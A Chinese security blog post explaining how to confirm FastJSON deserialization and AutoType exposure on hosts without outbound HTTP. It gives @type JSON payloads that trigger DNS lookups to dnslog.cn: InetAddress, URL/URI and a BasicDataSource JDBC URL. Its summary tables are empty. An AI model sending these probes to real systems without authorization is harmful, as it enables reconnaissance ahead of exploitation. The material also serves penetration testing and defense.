DNS 一响,漏洞登场!FastJSON 不出网探测全攻略
DNS 一响,漏洞登场!FastJSON 不出网探测全攻略
原创 火力猫 季升安全 2025-04-23 10:53
🧨 FastJSON “不出网验证” 全解析
从一次普通的 POST 请求,如何判断目标后端用了 FastJSON?还能不能打?是否开启了 AutoType?今天给你掰开揉碎讲清楚:如何在“目标无法访问公网”的条件下判断 FastJSON 是否存在可利用的反序列化漏洞
。
🎯 什么是“不出网验证”?
在企业内网或高安全环境中,很多服务并不能访问公网 HTTP 接口。 但你又想知道:
– 🎯 是否使用了 FastJSON?
-
🎯 是否未关闭 AutoType?
-
🎯 是否有反序列化触发点?
于是,我们引入了“不出网验证
”——不依赖 HTTP/RCE/回显,仅通过 DNS 或局部副作用判断漏洞是否存在
。
不出网的详细解释见文章《企业架构中最容易误解的概念:DMZ 不出网 ≠ 无法被访问》
🧪 一、利用 InetAddress 触发 DNS 请求
🚀 Payload
{"@type": "java.net.InetAddress","val": "geekserver.top.dnslog.cn"}
🧠 利用原理
-
FastJSON 会反射加载 InetAddress
类; -
调用 InetAddress.getByName()
,尝试解析域名; -
触发一次 DNS 请求 → 发送到你的 dnslog.cn
; -
无需出网访问 HTTP,即可知道是否存在反序列化点。
✅ 特点
-
DNS 请求穿透能力强;
-
只需一个 POST 请求,黑盒即可测试;
-
绝大多数环境都能触发
,成功率高。
🔍 二、利用 URL/URI 触发域名解析
🚀 Payload
{"@type": "java.net.URL","val": "http://geekserver.top.dnslog.cn"}
或:
{"@type": "java.net.URI","val": "http://geekserver.top.dnslog.cn"}
🧠 利用原理
这两种类在被实例化时,也可能触发域名解析或网络连接尝试(取决于后续是否使用它们),用于探测一些 懒加载网络类
的反序列化行为。
✅ 特点
-
可能无法直接触发 DNS 请求,但可用于组合利用;
-
在某些 Web 服务组件中效果更佳(如 URL 连接池、资源读取等)。
🎯 三、利用 Locale/TimeZone 等类
🚀 Payload
{"@type": "java.util.Locale","val": "en_US"}
或:
{"@type": "java.util.TimeZone","val": "Asia/Shanghai"}
🧠 利用原理
-
这些类被实例化时会访问系统缓存或资源表;
-
在某些框架下可能留下日志副作用、响应差异、内存行为变化
; -
可利用日志侧信道进一步识别。
✅ 特点
-
无需 DNS/HTTP,适合日志侧信道探测;
-
需配合白盒使用。
💣 四、内存探针类进行漏洞链判断
🚀 Payload
{"@type": "org.apache.commons.dbcp2.BasicDataSource","driverClassName": "com.mysql.jdbc.Driver","url": "jdbc:mysql://your-uuid.dnslog.cn/db"}
🧠 原理说明:
-
在某些 JDBC 类被反序列化后,会尝试发起数据库连接;
-
可用于判断是否存在远程加载/初始化行为。
⚠️ 注意:
FastJSON 新版本中大部分“危险类”被加入黑名单或需要显式白名单,建议配合版本判断进行定向利用。
🔍 探测流程
|
|
|
---|---|---|
|
@type + DNS 字段 |
|
|
|
|
|
|
|
🚨 快速判断技巧
|
|
---|---|
|
|
AutoType is not supported |
|
|
|
✅ 总结
|
|
|
---|---|---|
InetAddress.getByName |
|
|
URL/URI |
|
|
Locale/TimeZone |
|
|
JdbcRowSetImpl
|
|
|